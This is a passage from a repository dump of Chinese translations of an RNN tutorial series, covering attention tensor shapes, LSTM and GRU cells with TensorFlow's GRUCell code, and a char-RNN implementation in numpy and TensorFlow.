Repo](https://github.com/ajarai/the-neural-perspective/tree/master/recurrent-neural-networks/seq-seq/attention)\n\n## 矩阵形状分析:\n\n编码器的输出形为 **[N, max_len]**，经过嵌入操作之后转变为 **[N, max_len, H]**，然后交给编码器 RNN。编码器的输出形为 **[N, max_len, H]**，状态矩阵形为 **[N, H]**，其中包含了各个样本最后的 cell 的状态。\n\n编码器的输出和注意力向量的形状都是 **[N, max_len, H]**。\n\n解码器的输出形为 **[N, max_len]**，会被转换为一个 **max_len** 长度的时序列表，其中每个向量的形状为 **N**。解码器的初始状态就是编码器形为 **[N, H]** 的状态矩阵。在将数据输入解码器 RNN 之前，数据会被进行嵌入操作，变成一个 max_len 长度的时序列表，其中的每个向量形状为 [N, H]。输入数据可能是真实的解码器输入，或者在进行预测的时候，就是由前一个解码器 cell 产生的输出。前一个解码器 cell 在前一刻产生的输出形为 **[N, H]**，将经过一层  softmax 层（输出投影）而变成 **[N, C]**。然后使用我们在输入上使用的权重向量，再一次进行嵌入操作变回 **[N, H]**。这些输入将被喂给解码器 RNN，从而产生解码器形为 **[max_len, N, H]** 的输出以及状态矩阵 **[N, H]**。输出将被进行 flatten 操作而变成 **[N* max_len, H]** 并且和同样经过 flatten 操作的目标输出进行比较（同样形为 **[N* max_len, H]**)。如果目标输出中有 PAD token 的话，在计算 loss 的时候会进行一些遮蔽操作，接下来就是 backprop 了。\n\n在解码器 RNN 内部，同样有一些形状转变的操作。首先注意力向量（编码器输出）形为 **[N, max_len, H]**，将被转化为一个 4 维的向量  **[N, max_len, 1, H]**（这样我们就可以使用卷积操作了）并且利用卷积来提取有用的特征。这些隐藏特征的形状也是 4 维，**[N, height , 3, H]**。解码器的前一隐藏状态x向量，形为  **[N, H]**，同样是注意力机制的一个输入。这个隐藏状态向量经过一个 MLP 变成 **[N, H]** （这么做的原因是为了防止前一隐藏状态的第二维（H）和 attention_size 不同，在这里同样是 H）。接下来这个隐藏状态向量同样被转换成一个 4 维向量 **[N, 1, 1, H]**，这样我们就可以将它和隐藏特征相结合。我们对相加的结果使用 tanh 函数，再通过 softmax 函数得到 alpha_ij，其形状为 **[N, max_len, 1, 1]** （这代表了每个样本中各个隐藏状态的概率）。这个 alpha 和原始的隐藏状态相乘，得到形为  **[N, max_len, 1, H]**的向量，再进行求和得到形为 **[N, H]** 的上下文向量。\n\n上下文向量和解码器的形为 **[N, H]** 的输入结合，无论这个输入是来自解码器的输入数据（训练时候）还是来自前一个 cell 的预测（预测时候），这个输入只是长度为 **max_len** 列表中形为 **[N, H]** 向量的其中一个。首先我们让它和前一个上下文向量相加（初始化为全 0 的 **[N, H]** 矩阵），回想一下我们的来自于解码器输入的数据是一个时序列表，长度为 **N**，其中的向量形为 **[max_len, ]**，这就是为什么输入的形状都是 **[N, H]**。相加的结果将经过一层 MLP，得到一个形为 **[N, H]** 的输出，这和状态矩阵（形状为 **[N, H]**）将被交给我们的动态 RNN cell 。得到的输出 cell_outputs 形为 **[N, H]**，并且状态矩阵同样为  **[N, H]**。这个新的状态矩阵将会成为们下一个解码器的输入。我们对 max_len 个输入进行这样的操作，从而得到了一个长度为 max_len 的是列表，其中的向量都是 [N, H]。在从解码器得到这个输出和状态矩阵之后，我们将新的状态矩阵传给 attention 函数得到新的上下文向量，新的上下文向量形为 **[N, H]**，并且和形为  **[N, H]** 的输出相加，再一次应用 MLP，转换成形为 **[N, H]** 的向量。最后，如果我们在进行预测，新的 prev 将会成为我们的最终输出（prev 初始为 none）。prev 将会成为 loop_function 的输入，来得到下一个解码器的输出。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/recurrent-neural-network-rnn-part-5-custom-cells.md",
    "content": "\n> * 原文地址：[RECURRENT NEURAL NETWORK (RNN) – PART 5: CUSTOM CELLS](https://theneuralperspective.com/2016/11/17/recurrent-neural-network-rnn-part-4-custom-cells/)\n> * 原文作者：[GokuMohandas](https://twitter.com/GokuMohandas)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-5-custom-cells.md](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-5-custom-cells.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n\n**本系列文章汇总**\n\n1. [RNN 循环神经网络系列 1：基本 RNN 与 CHAR-RNN](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn.md)\n2. [RNN 循环神经网络系列 2：文本分类](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-2-text-classification.md)\n3. [RNN 循环神经网络系列 3：编码、解码器](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-3-encoder-decoder.md)\n4. [RNN 循环神经网络系列 4：注意力机制](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-4-attentional-interfaces.md)\n5. [RNN 循环神经网络系列 5：自定义单元](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-5-custom-cells.md)\n\n# RNN 循环神经网络系列 5: 自定义单元\n\n在本文中，我们将探索并尝试创建我们自己定义的 RNN 单元。不过在此之前，我们需要先仔细研究简单的 RNN，再逐步深入较为复杂的单元（如 LSTM 与 GRU）。我们会分析这些单元在 tensorflow 中的实现代码，最终参照这些代码来创建我们的自定义单元。本文将援引由 Chris Olah 所著，在 RNN、LSTM 方面非常棒的一篇文章中的图片。在此我强烈推荐你阅读**[这篇文章](http://colah.github.io/posts/2015-08-Understanding-LSTMs/)**，本文中会重申其中许多相关内容，不过由于我们主要还是关注 tf 代码，所以这些内容将会较快地略过。将来当我要对 RNN 结构进行层规范化时，我还会引用本文中的代码。之后的文章可以在**[这儿](https://theneuralperspective.com/2016/10/27/gradient-topics/)**查看。\n\n## 基本 RNN：\n\n对于传统的 RNN 来说，最大的问题就在于每个单元的重复输入都是静态的，因此我们无法充分学习到长期的依赖情况。你回想一下基本 RNN 单元，就会发现所有操作都是单一的 tanh 运算。\n\n![screen-shot-2016-10-04-at-5-54-13-am](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-10-04-at-5-54-13-am.png?w=620)\n\n对于解决短期依赖情况的问题来说，这种结构已经够用了；但如果我们希望通过有效的长期记忆来预测目标，则需要使用更稳定强大的 RNN 单元 —— LSTM。\n\n## 长短期记忆网络（LSTM）：\n\nLSTM 的结构可以让我们在更多的操作中进行长期的信息控制。传统的 RNN 仅有一个输出，其既作为隐藏状态表示也作为此单元的输出端。\n\n![Screen Shot 2016-11-16 at 6.25.04 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-16-at-6-25-04-pm.png?w=620)\n\n这种结构缺乏对信息的控制，无法存住对许多步之后有用的信息。而 LSTM 有两种不同的输出。其中一种仍与前面的传统结构一样，既作为隐藏状态表示也作为单元输出；但 LSTM 单元还有另一种输出 - 单元状态 C。这也是 LSTM 精髓所在，让我们仔细研究它。\n\n![Screen Shot 2016-11-16 at 6.28.06 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-16-at-6-28-06-pm.png?w=620)\n\n### 遗忘门：\n\n第一个要介绍的门就是遗忘门。这个门可以让我们选择性地传递信息以决定单元的状态。我将公式罗列在下，后面介绍其它的门时也会如此。\n\n![Screen Shot 2016-11-16 at 6.30.38 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-16-at-6-30-38-pm.png?w=620)\n\n![Screen Shot 2016-11-16 at 6.39.17 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-16-at-6-39-17-pm.png?w=620)\n\n你可以参考类似 tf 的 [_linear](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/ops/rnn_cell.py#867) 函数来实现它。不过遗忘门的主要要点是对输入与隐藏状态前应用了 sigmoid。那么这个 sigmoid 的作用是什么？请回想一下，sigmoid 会输出在 [0, 1] 范围的值，在此我们将其应用于 [N X H] 的矩阵，因此会得到 NXH 个 sigmoid 算出的值。如果 sigmoid 得到 0 值，那么其对应的隐藏值就会失效；如果 sigmoid 得到 1 值，那么此隐藏值将会被应用在计算中。而处于 0 和 1 之间的值将会允许一部分的信息继续传递。这样就能很好地通过阻塞与选择性地传递输入单元的数据，以达到控制信息的目的。\n\n这就是遗忘门。它是我们的单元得到最终结果前的第一个步骤。下面介绍另一个操作：输入门。\n\n### 输入门：\n\n输入门将获取我们的输入值 X 以及在前面的隐藏状态，并对它们进行两次运算。首先会通过 sigmoid 门来选择性地允许部分数据输入，接着将其与输入值的 tanh 值相乘。\n\n![Screen Shot 2016-11-16 at 6.48.07 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-16-at-6-48-07-pm.png?w=620)\n\n这儿的 tanh 与前面的 sigmoid 操作不同。请回忆一下，tanh 会将输入值改变为 [-1, 1] 范围内的值。它本质上通过非线性的方式改变了输入的表示。这一步与我们在基本 RNN 单元中进行的操作一致，不过在此我们将两值的乘积加上遗忘门得到的值得到本单元的状态值。\n\n遗忘门与输入门的操作可以看做同时保存了旧状态（C_{t-1}）的一部分与新变换（tanh）单元状态（C~_t）的一部分。这些权重将会通过我们数据的训练学到需要保存多少数据以及如何进行正确的变换。\n\n### 输出门：\n\n最后一个门是输出门，它利用输入值、前面的隐藏状态值以及新单元状态值来共同决定新隐藏状态的表示。\n\n![Screen Shot 2016-11-16 at 6.54.29 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-16-at-6-54-29-pm.png?w=620)\n\n该步骤依旧涉及到了 sigmoid，将它的值与单元状态的 tanh 值相乘以决定信息的去留。需要注意这一步的 tanh 计算与输入门的 tanh 计算不同，此步不再是神经网络的计算，而仅仅是单纯、不带任何权重地计算单元状态值的 tanh 值。这样我们就能强制单元状态矩阵 [NXH] 的值处于 [-1, 1] 的范围内。\n\n### 变体\n\nRNN 单元有许多种变体，在此再次建议去阅读 Chris Olah 的**[这篇博文](http://colah.github.io/posts/2015-08-Understanding-LSTMs/)**学习更多相关知识。不过他在文中讨论的是 peehole 模型（在计算 C_{t-1} 或 C_t 时允许所有门都能观察到单元状态值）以及单元状态的 couple（更新与遗忘同时进行）。不过目前 LSTM 的竞争对手是正在被广泛使用的 GRU（Gated Recurrent Unit）。\n\n## GRU（Gated Recurrent Unit）：\n\nGRU 的主要原理是将遗忘门与输入门结合成一个更新门。\n\n ![Screen Shot 2016-11-16 at 7.01.15 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-16-at-7-01-15-pm.png?w=620)\n\n在实际使用中，GRU 的性能与 LSTM 相当，但其计算量更小，因此它现在日益流行。\n\n## 原生 Tensorflow 实现：\n\n我们先观察一下 Tensorflow 官方对于 GRU 单元的实现代码，主要关注其函数调用方式、输入以及输出。然后我们会复制它的结构用于创建我们自己的单元。如果你对其它的单元有兴趣，可以在**[这儿](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/ops/rnn_cell.py)**找到它们的实现。本文将主要关注 GRU，因为它在大多数情况下性能与 LSTM 相当且复杂度更低。\n\n```\nclass GRUCell(RNNCell):\n  \"\"\"Gated Recurrent Unit cell (cf. http://arxiv.org/abs/1406.1078).\"\"\"\n\n  def __init__(self, num_units, input_size=None, activation=tanh):\n    if input_size is not None:\n      logging.warn(\"%s: The input_size parameter is deprecated.\", self)\n    self._num_units = num_units\n    self._activation = activation\n\n  @property\n  def state_size(self):\n    return self._num_units\n\n  @property\n  def output_size(self):\n    return self._num_units\n\n  def __call__(self, inputs, state, scope=None):\n    \"\"\"Gated recurrent unit (GRU) with nunits cells.\"\"\"\n    with vs.variable_scope(scope or type(self).__name__):  # \"GRUCell\"\n      with vs.variable_scope(\"Gates\"):  # Reset gate and update gate.\n        # We start with bias of 1.0 to not reset and not update.\n        r, u = array_ops.split(1, 2, _linear([inputs, state],\n                                             2 * self._num_units, True, 1.0))\n        r, u = sigmoid(r), sigmoid(u)\n      with vs.variable_scope(\"Candidate\"):\n        c = self._activation(_linear([inputs, r * state],\n                                     self._num_units, True))\n      new_h = u * state + (1 - u) * c\n    return new_h, new_h\n```\n\nGRUCell 类由 __init__ 函数开始执行。在 __init__ 函数中定义了单元的数量与其使用的激活函数。其激活函数一般是 tanh，不过也可以使用 sigmoid 来使得值固定在 [0, 1] 范围内方便我们控制信息流。另外，它还有两个在调用时会返回 self._num_units 的属性。最后定义了 __call__ 函数，它将处理输入值并得出新的隐藏值。回忆一下，GRU 没有类似 LSTM 的单元状态值。\n\n在 __call__ 中，我们首先计算 r 和 u（u 是前面图中的 z）。在这步中，我们没有单独去计算它们，而是以乘以 2 倍 num_units 的形式合并了权重，再将结果分割成两份得到它们（split(dim, num_splits, value)）。然后对得到的值应用 sigmoid 激活函数，以选择性地控制信息流。接着计算 c 的值，用它计算新隐藏状态表示值。你可能发现它计算 new_h 的顺序和之前颠倒了，不过由于权重会同时进行训练，因此代码仍能正常运行。\n\n其它的单元代码都与此代码类似，你弄明白了上面的代码就能轻松解释其它单元的代码。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn.md",
    "content": "\n> * 原文地址：[RECURRENT NEURAL NETWORKS (RNN) – PART 1: BASIC RNN / CHAR-RNN](https://theneuralperspective.com/2016/10/04/05-recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn/)\n> * 原文作者：[GokuMohandas](https://twitter.com/GokuMohandas)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn.md](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn.md)\n> * 译者：[Changkun Ou](https://github.com/changkun/)\n> * 校对者：[CACppuccino](https://github.com/CACppuccino), [TobiasLee](https://github.com/TobiasLee)\n\n**本系列文章汇总**\n\n1. [RNN 循环神经网络系列 1：基本 RNN 与 CHAR-RNN](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn.md)\n2. [RNN 循环神经网络系列 2：文本分类](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-2-text-classification.md)\n3. [RNN 循环神经网络系列 3：编码、解码器](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-3-encoder-decoder.md)\n4. [RNN 循环神经网络系列 4：注意力机制](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-4-attentional-interfaces.md)\n5. [RNN 循环神经网络系列 5：自定义单元](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-5-custom-cells.md)\n\n# RNN 循环神经网络系列 1：基本 RNN 与 CHAR-RNN\n\n**提示：**关于 RNN 的内容将横跨好几篇文章，包括基本的 RNN 结构、支持字符级序列生成的纯 TensorFlow 实现等等。而关于 RNN 的后续文章会包含更多高级主题，比如更加复杂的用于机器翻译任务的 Attention 机制等。\n\n## 一、概述\n\n使用循环结构拥有很多优势，最突出的一个优势就是它们能够在内存中存储前一个输入的表示。如此，我们就可以更好的预测后续的输出内容。持续追踪内存中的长数据流会出现很多的问题，比如 BPTT 算法中出现的梯度消失（gradient vanishing）问题就是其中之一。幸运的是，我们可以对架构做出一些改进来解决这个问题。\n\n![Screen Shot 2016-10-04 at 5.54.13 AM.png](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-10-04-at-5-54-13-am.png?w=620)\n\n## 二、CHAR-RNN\n\n我们不会去专门实现一个纯 TensorFlow 版本的单字符生成模型。相反，现在这个模型的目标是从每个输入句子中以每次一个字母的方式来读取字符流，并预测下一个字母是什么。在训练期间，我们将句子中的字母提供给网络，并用于生成输出的字母。而在推断（生成）期间，我们则会将上一次的输出作为新的输入（使用随机的 token 作为第一个输入）。\n\n对于文本数据来说，我们做了一些预处理，请查看这个 [GitHub 仓库]((https://github.com/ajarai/Neural-Perspective/tree/master/05.%20RNN))来获取更多信息。\n\n**输入样例**：Hello there Charlie, how are you? Today I want a nice day. All I want for myself is a car.\n\n* DATA_SIZE：输入的长度，即 `len(input)`；\n* BATCH_SIZE：每批的序列个数；\n* NUM_STEPS：每个切片的 token 数，即序列的长度 `seq_len`；\n* STATE_SIZE：每个隐层状态的隐层节点数，即值 `H`；\n* num_batches：数据集小批量化后的批量数\n\n![Screen Shot 2016-10-04 at 6.15.57 AM.png](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-10-04-at-6-15-57-am.png?w=620)\n\n**注意：**由于我们是一行一行的将数据输入进 RNN 单元的，因此我们需要一列一列的将数据组成张量输入到网络中去，即我们必须把原始数据进行 reshape 处理。此外，每个字母都将作为一个被嵌入的独热编码（one-hot encoding，译注：又称 1-of-k encoding）的向量输入。在上图中，每个句子数据都被完美的切分进了一组组小批量数据，这只不过是为了达到更好的可视化目的，这样你就可以看到输入是怎样被切分的了。在实际的     -RNN 实现中，我们并不关心一个具体的句子，我们只是将整个输入切分成 num_batches 个批次，每个批次彼此独立，所以每个输入的长度都是 `num_steps`，即 `seq_len`。\n\n![Screen Shot 2016-10-04 at 6.30.17 AM.png](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-10-04-at-6-30-17-am.png?w=620)\n\n## 三、反向传播\n\nRNN 版本的反向传播 BPTT 刚开始可能有点混乱，尤其是计算隐藏状态对输入的影响之时。下面 [Karpathy](http://karpathy.github.io/2015/05/21/rnn-effectiveness/) 的代码使用原生 numpy 实现，符合下图中我的公式推导逻辑。\n\n![Screen Shot 2016-10-04 at 6.33.37 AM.png](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-10-04-at-6-33-37-am.png?w=620)\n\n![Screen Shot 2016-10-04 at 6.35.29 AM.png](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-10-04-at-6-35-29-am1.png?w=620)\n\n**前向传播：**\n\n```python\nfor t in xrange(len(inputs)):\n    xs[t] = np.zeros((vocab_size,1)) # 独热编码\n    xs[t][inputs[t]] = 1\n    hs[t] = np.tanh(np.dot(Wxh, xs[t]) + np.dot(Whh, hs[t-1]) + bh) # 隐藏状态\n    ys[t] = np.dot(Why, hs[t]) + by # 下一个字符的未归一化对数似然概率\n    ps[t] = np.exp(ys[t]) / np.sum(np.exp(ys[t])) # 下一个字符的概率\n    loss += -np.log(ps[t][targets[t],0]) # softmax（交叉熵损失）\n```\n\n**反向传播:**\n\n\n```python\nfor t in reversed(xrange(len(inputs))):\n    dy = np.copy(ps[t])\n    dy[targets[t]] -= 1\n    dWhy += np.dot(dy, hs[t].T)\n    dby += dy\n    dh = np.dot(Why.T, dy) + dhnext  # 反向传播给 h\n    dhraw = (1 - hs[t] * hs[t]) * dh # 通过 tanh 的非线性进行反向传播\n    dbh += dhraw\n    dWxh += np.dot(dhraw, xs[t].T)\n    dWhh += np.dot(dhraw, hs[t-1].T)\n    dhnext = np.dot(Whh.T, dhraw)\n```\n\n## 张量的形状\n\n在实现之前，我们来谈谈张量的形状。在这个 CHAR-RNN 的例子上讲述张量形状这个概念有点奇怪，因此我会向你解释如何对其进行批量化以及它们是怎样完成 seq2seq 任务的。\n\n![Screen Shot 2016-10-31 at 8.45.07 PM.png](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-10-31-at-8-45-07-pm.png?w=620)\n\n这个任务对于一次性输入整行（全部 `batch_size` 个序列的）`seq_len` 这点上有点奇怪。通常来说，我们一次只传递一个批量，每个批量都有 `batch_size` 个序列，所以形状为` (batch_size, seq_len)`。我们通常也不会用 `seq_len` 来做分割，而是取整个序列的长度。对于 seq2seq 任务而言，本系列的第 2、3 和 5 篇文章中看到，我们会将大小为 `batch_size` 一个批量的序列作为输入，其中每个序列的长度为` seq_len` 。我们不能像在图中那样指定 `seq_len`，因为实际的`seq_len` 会根据全部样本的特点填充到最大值。我们会在比最大长度短的所有句子后填充一些填充符，从而达到最大值。不过现在还不是深入讨论这个问题的时候。\n\n## 四、Char-RNN 的 TensorFlow 实现（无 RNN 抽象）\n\n我们将使用没有 RNN 类抽象的纯 TensorFlow 进行实现。同时还将使用我们自己的权重集来真正理解输入数据的流向以及输出是如何生成的。在这里我们只讨论代码里一些重点部分，而完整的代码我将给出相关链接。如果你想要使用 TF RNN 类进行实现，请转到本文第五小节。\n\n**重点：**\n\n首先我想讨论下如何生成批量化的数据。你可能注意到了，我们有一个额外的步骤，那就是将数据进行批量化处理，然后再将数据分割进 `seq_len`。这么做的原因是为了消除 RNN 结构中 BPTT 算法中产生的梯度消失问题，你可以在我的博客中查看更多[相关信息](https://theneuralperspective.com/2016/10/27/gradient-topics/)。本质上来说，我们并不能同时处理多个字符。这是因为在反向传播中，如果序列太长，梯度就会下降得很快。因此，一个简单的技巧是保存一个 `seq_len` 长度的输出状态，然后将其作为下一个 `seq_len` 的  `initial_state`。这种由我们自行选择（使用 BPTT 来）处理的个数和更新频率的做法，就是所谓的截断反向传播（truncated backpropagation）。`initial_state` 从 0 开始，并在每轮计算中进行重置。因此，我们仍然能在一个特定的批次中从之前的 `seq_len` 序列里保存表示的某些类型。这么做的原因在于，在字符这种级别上，一个极小的序列并不能够学习到足够多的表示。\n\n```python\ndef generate_batch(FLAGS, raw_data):\n    raw_X, raw_y = raw_data\n    data_length = len(raw_X)\n\n    # 从原始数据中创建批量数据\n    num_batches = FLAGS.DATA_SIZE // FLAGS.BATCH_SIZE # 每批的 token\n    data_X = np.zeros([num_batches, FLAGS.BATCH_SIZE], dtype=np.int32)\n    data_y = np.zeros([num_batches, FLAGS.BATCH_SIZE], dtype=np.int32)\n    for i in range(num_batches):\n        data_X[i, :] = raw_X[FLAGS.BATCH_SIZE * i: FLAGS.BATCH_SIZE * (i+1)]\n        data_y[i, :] = raw_y[FLAGS.BATCH_SIZE * i: FLAGS.BATCH_SIZE * (i+1)]\n\n    # 尽管每个批次都有很多的 token\n    # 但我们每次只想输入 seq_len 个 token\n    feed_size = FLAGS.BATCH_SIZE // FLAGS.SEQ_LEN\n    for i in range(feed_size):\n        X = data_X[:, i * FLAGS.SEQ_LEN:(i+1) * FLAGS.SEQ_LEN]\n        y = data_y[:, i * FLAGS.SEQ_LEN:(i+1) * FLAGS.SEQ_LEN]\n        yield (X, y)\n```\n\n下面是使用我们自己的权重的代码。`rnn_cell` 函数用来接收来自前一个单元的输入和状态，从而生成 RNN 的输出，同时也是下一个单元的输入状态。下一个函数 `rnn_logits` 使用权重将我们的 RNN 输出进行转换，从而通过 softmax 生成 logits 概率并用于分类。\n\n```python\ndef rnn_cell(FLAGS, rnn_input, state):\n    with tf.variable_scope('rnn_cell', reuse=True):\n        W_input = tf.get_variable('W_input',\n            [FLAGS.NUM_CLASSES, FLAGS.NUM_HIDDEN_UNITS])\n        W_hidden = tf.get_variable('W_hidden',\n            [FLAGS.NUM_HIDDEN_UNITS, FLAGS.NUM_HIDDEN_UNITS])\n        b_hidden = tf.get_variable('b_hidden', [FLAGS.NUM_HIDDEN_UNITS],\n            initializer=tf.constant_initializer(0.0))\n    return tf.tanh(tf.matmul(rnn_input, W_input) +\n                   tf.matmul(state, W_hidden) + b_hidden)\n\ndef rnn_logits(FLAGS, rnn_output):\n    with tf.variable_scope('softmax', reuse=True):\n        W_softmax = tf.get_variable('W_softmax',\n            [FLAGS.NUM_HIDDEN_UNITS, FLAGS.NUM_CLASSES])\n        b_softmax = tf.get_variable('b_softmax',\n            [FLAGS.NUM_CLASSES], initializer=tf.constant_initializer(0.0))\n    return tf.matmul(rnn_output, W_softmax) + b_softmax\n```\n\n我们将输入和独热编码在 RNN 的批处理中进行 reshape 操作。然后，我们就可以使用 `rnn_cell`、`rnn_logits` 和 softmax 来运行我们的 RNN 从而预测下一个 token 了。你可以看到，我们生成的状态与我们在这个简单实现中的 RNN 输出是一致的。\n\n```python\nclass model(object):\n\n    def __init__(self, FLAGS):\n\n        # 占位符\n        self.X = tf.placeholder(tf.int32, [None, None],\n            name='input_placeholder')\n        self.y = tf.placeholder(tf.int32, [None, None],\n            name='labels_placeholder')\n        self.initial_state = tf.zeros([FLAGS.NUM_BATCHES, FLAGS.NUM_HIDDEN_UNITS])\n\n        # 准备输入\n        X_one_hot = tf.one_hot(self.X, FLAGS.NUM_CLASSES)\n        rnn_inputs = [tf.squeeze(i, squeeze_dims=[1]) \\\n            for i in tf.split(1, FLAGS.SEQ_LEN, X_one_hot)]\n\n        # 定义 RNN cell\n        with tf.variable_scope('rnn_cell'):\n            W_input = tf.get_variable('W_input',\n                [FLAGS.NUM_CLASSES, FLAGS.NUM_HIDDEN_UNITS])\n            W_hidden = tf.get_variable('W_hidden',\n                [FLAGS.NUM_HIDDEN_UNITS, FLAGS.NUM_HIDDEN_UNITS])\n            b_hidden = tf.get_variable('b_hidden',\n                [FLAGS.NUM_HIDDEN_UNITS],\n                initializer=tf.constant_initializer(0.0))\n\n        # 创建 RNN\n        state = self.initial_state\n        rnn_outputs = []\n        for rnn_input in rnn_inputs:\n            state = rnn_cell(FLAGS, rnn_input, state)\n            rnn_outputs.append(state)\n        self.final_state = rnn_outputs[-1]\n\n        # Logits 概率及预测\n        with tf.variable_scope('softmax'):\n            W_softmax = tf.get_variable('W_softmax',\n                [FLAGS.NUM_HIDDEN_UNITS, FLAGS.NUM_CLASSES])\n            b_softmax = tf.get_variable('b_softmax',\n                [FLAGS.NUM_CLASSES],\n                initializer=tf.constant_initializer(0.0))\n\n        logits = [rnn_logits(FLAGS, rnn_output) for rnn_output in rnn_outputs]\n        self.predictions = [tf.nn.softmax(logit) for logit in logits]\n\n        # 损失与优化\n        y_as_list = [tf.squeeze(i, squeeze_dims=[1]) \\\n            for i in tf.split(1, FLAGS.SEQ_LEN, self.y)]\n        losses = [tf.nn.sparse_softmax_cross_entropy_with_logits(logit, label) \\\n            for logit, label in zip(logits, y_as_list)]\n        self.total_loss = tf.reduce_mean(losses)\n        self.train_step = tf.train.AdagradOptimizer(\n            FLAGS.LEARNING_RATE).minimize(self.total_loss)\n```\n\n我们偶尔也会从模型中进行采样。对于采样而言，可以选择使用 logits 概率中的最大值，或者在选择的类别中引入 `temperature` 参数。\n\n```python\ndef sample(self, FLAGS, sampling_type=1):\n\n    initial_state = tf.zeros([1,FLAGS.NUM_HIDDEN_UNITS])\n    predictions = []\n\n    # 处理预设 token\n    state = initial_state\n    for char in FLAGS.START_TOKEN:\n        idx = FLAGS.char_to_idx[char]\n        idx_one_hot = tf.one_hot(idx, FLAGS.NUM_CLASSES)\n        rnn_input = tf.reshape(idx_one_hot, [1, 65])\n        state =  rnn_cell(FLAGS, rnn_input, state)\n\n    # 在预设 token 后进行预测\n    logit = rnn_logits(FLAGS, state)\n    prediction = tf.argmax(tf.nn.softmax(logit), 1)[0]\n    predictions.append(prediction.eval())\n\n    for token_num in range(FLAGS.PREDICTION_LENGTH-1):\n        idx_one_hot = tf.one_hot(prediction, FLAGS.NUM_CLASSES)\n        rnn_input = tf.reshape(idx_one_hot, [1, 65])\n        state =  rnn_cell(FLAGS, rnn_input, state)\n        logit = rnn_logits(FLAGS, state)\n\n        # 对分布进行缩放\n        # temperature 越高，产生的新词越多，也就越炫酷\n        # 但同时也需要更多的样本\n        next_char_dist = logit/FLAGS.TEMPERATURE\n        next_char_dist = tf.exp(next_char_dist)\n        next_char_dist /= tf.reduce_sum(next_char_dist)\n\n        dist = next_char_dist.eval()\n\n        # 单字符采样\n        if sampling_type == 0:\n            prediction = tf.argmax(tf.nn.softmax(\n                                    next_char_dist), 1)[0].eval()\n        elif sampling_type == 1:\n            prediction = FLAGS.NUM_CLASSES - 1\n            point = random.random()\n            weight = 0.0\n            for index in range(0, FLAGS.NUM_CLASSES):\n                weight += dist[0][index]\n                if weight >= point:\n                    prediction = index\n                    break\n        else:\n            raise ValueError(\"Pick a valid sampling_type!\")\n        predictions.append(prediction)\n\n    return predictions\n```\n\n我们还需要看看如何向数据流中传递 `initial_state` 参数。为了避免梯度消失的出现，每次处理完一个序列后，它和 `final_state` 都会被更新。注意，我们将零初始状态作为起始状态，然后在将这个状态传递给随后的序列，并将前一个序列的 `final_state` 